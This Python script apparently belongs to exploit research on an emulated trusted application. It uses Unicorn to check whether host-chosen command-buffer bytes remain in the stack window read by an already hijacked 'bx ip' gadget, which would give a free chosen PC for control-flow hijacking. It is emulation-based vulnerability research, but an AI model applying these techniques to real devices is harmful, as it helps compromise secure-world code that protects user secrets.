#!/usr/bin/env python3
"""Does a prior INVOKE leave HOST-CHOSEN bytes in the stack window the hijack gadget reads?

At the hijacked `bx ip` (0x402938 on the UNLOAD_TA path) sp = 0x41bf70 and gadgets can source PC
from tlApiFree's frame [sp, sp+0x80) or from below sp. Add.95 showed the frame is largely
uninitialised, and Add.96 showed *(sp-8) and below are untouched by the UNLOAD path. Both are
carvable, but a carve costs ~256 stamps per byte. If instead a NORMAL invoke happens to leave
host-controlled dwords at those offsets, we get a chosen PC for FREE.

Method: fill the host cmd buffer with a POSITION-ENCODING pattern (dword at offset o = 0xD0000000|o),
run invokes, then UNLOAD_TA and dump [sp-0x80, sp+0x100) at the `bx ip`. Any dword matching the
pattern is host-sourced AND tells us exactly which cmd-buffer offset it came from.
Negative result is only meaningful with the positive control: the pattern MUST be found somewhere
(e.g. in the ctx / deeper stack), otherwise the experiment proves nothing.
"""
import sys, os, struct, importlib.util, glob
sys.path.insert(0, os.path.join(os.path.dirname(__file__), ".."))
sys.path.insert(0, os.path.dirname(__file__))
from unicorn import UC_HOOK_CODE
from unicorn.arm_const import *
H=os.path.dirname(os.path.abspath(__file__))
_h=importlib.util.spec_from_file_location("hmw", os.path.join(H,"heap_meta_who.py"))
HM=importlib.util.module_from_spec(_h); _h.loader.exec_module(HM)
GW, FT = HM.GW, HM.FT
from pspemu import armmmu

PAT=0xD0000000
A10=0xCAFE1000      # FE07 arg10 low  (host-chosen, lands at auth[i]+0x10)
A18=0xBEEF1800      # FE07 arg18      (host-chosen, lands at auth[i]+0x04)

def fill(c, cmd, arg10=0, arg18=0):
    buf=bytearray(GW.CMDBUF_LEN)
    for o in range(0, GW.CMDBUF_LEN, 4):
        struct.pack_into("<I", buf, o, PAT|o)
    struct.pack_into("<I", buf, 0x000, cmd)
    struct.pack_into("<I", buf, 0x010, arg10)
    struct.pack_into("<I", buf, 0x018, arg18)
    struct.pack_into("<I", buf, 0x414, 0xFFFFFFFB)
    struct.pack_into("<I", buf, 0x818, 0xFFFFFFFB)
    for base in (GW.CMDBUF2_PA, GW.CMDBUF2_PA+HM.M.Ring.ALIAS):
        c.uc.mem_write(base, bytes(buf))

def main():
    cont=glob.glob(os.path.join(HM.CONTAINERS,"ta_22-0-0-77_*"))[0]
    env=HM.setup_hooked(cont, lambda uc,a,s,u: None, verbose=True)
    if env is None: print("load failed"); return 1
    c=env["c"]; uc=c.uc; ring=env["ring"]; run=env["run"]
    nf=len(env["faults"])
    for cmd,a10,a18 in ((0xFE07,A10,A18),(0x0001,A10,A18),(0x0004,A10,A18),(0xFE05,A10,A18)):
        fill(c, cmd, a10, a18)
        FT.invoke(env, struct.pack("<I",cmd)+b"\x00"*0x5C)
        print("   invoke %#06x -> TA blocks=%d faults=%d"%(cmd,len(env["ta"]),len(env["faults"])),flush=True)
        if len(env["faults"])>nf:
            print("   FAULTED -- TA killed, aborting (free would never run)"); break
    # positive control: is the pattern anywhere in TA RAM at all?
    def sniff(lo,hi):
        found={}
        for va in range(lo,hi,4):
            try: v=struct.unpack("<I",bytes(armmmu.read_va(uc,va,4)))[0]
            except Exception: continue
            if (v&0xFFFF0000)==PAT or v in (A10,A18): found[va]=v
        return found
    ctl=sniff(0x41d000,0x41f000)
    ctl.update(sniff(0x418000,0x41c000))
    print("\n=== POSITIVE CONTROL: host-sourced dwords found in heap+stack: %d ==="%len(ctl))
    for va in sorted(ctl)[:12]:
        v=ctl[va]; tag="arg10" if v==A10 else ("arg18" if v==A18 else "cmdbuf+%#x"%(v&0xFFFF))
        print("   %#010x = %#010x   <- %s"%(va,v,tag))
    cap=[]
    def on_code(uc_,addr,size,user):
        if addr!=0x402938: return
        sp=uc_.reg_read(UC_ARM_REG_SP)
        try: w=bytes(armmmu.read_va(uc_, sp-0x80, 0x110))   # stack top is 0x41c000: never cross it
        except Exception: w=b""
        cap.append((sp,w))
    uc.hook_add(UC_HOOK_CODE,on_code,begin=0x402938,end=0x402938); uc.ctl_flush_tb()
    try: ring.submit(2, bytes(bytearray(0x20)), timeout=20, probe=env["disp"])
    except Exception as e: print("UNLOAD exc:",str(e)[:60])
    for _ in range(6): run(2_000_000)
    print("\n=== stack window at the hijacked `bx ip` (captures: %d) ==="%len(cap))
    for sp,w in cap:
        if not w: print("   sp=%#x  (read failed)"%sp); continue
        print("   sp = %#x   window %#x .. %#x"%(sp,sp-0x80,sp-0x80+0x110))
        hostslots=[]
        for i in range(0,0x110,4):
            va=sp-0x80+i; v=struct.unpack_from("<I",w,i)[0]
            host = (v&0xFFFF0000)==PAT or v in (A10,A18)
            if host: hostslots.append((va,v))
        for i in range(0,0x110,16):
            va=sp-0x80+i
            vals=[struct.unpack_from("<I",w,i+j)[0] for j in range(0,16,4)]
            mark="".join("*" if ((v&0xFFFF0000)==PAT or v in (A10,A18)) else " " for v in vals)
            rel="sp%+#x"%(va-sp) if va!=sp else "sp     "
            print("     %#010x %-9s: %s   %s"%(va,rel," ".join("%08x"%v for v in vals),mark))
        print("\n   HOST-SOURCED dwords in the window: %d"%len(hostslots))
        for va,v in hostslots:
            tag="arg10" if v==A10 else ("arg18" if v==A18 else "cmdbuf+%#x"%(v&0xFFFF))
            print("      %#010x (sp%+#x) = %#010x  <- %s"%(va,va-sp,v,tag))
        if not hostslots:
            print("      NONE -> no free chosen PC from host residue at these offsets")
    return 0
if __name__=="__main__": sys.exit(main())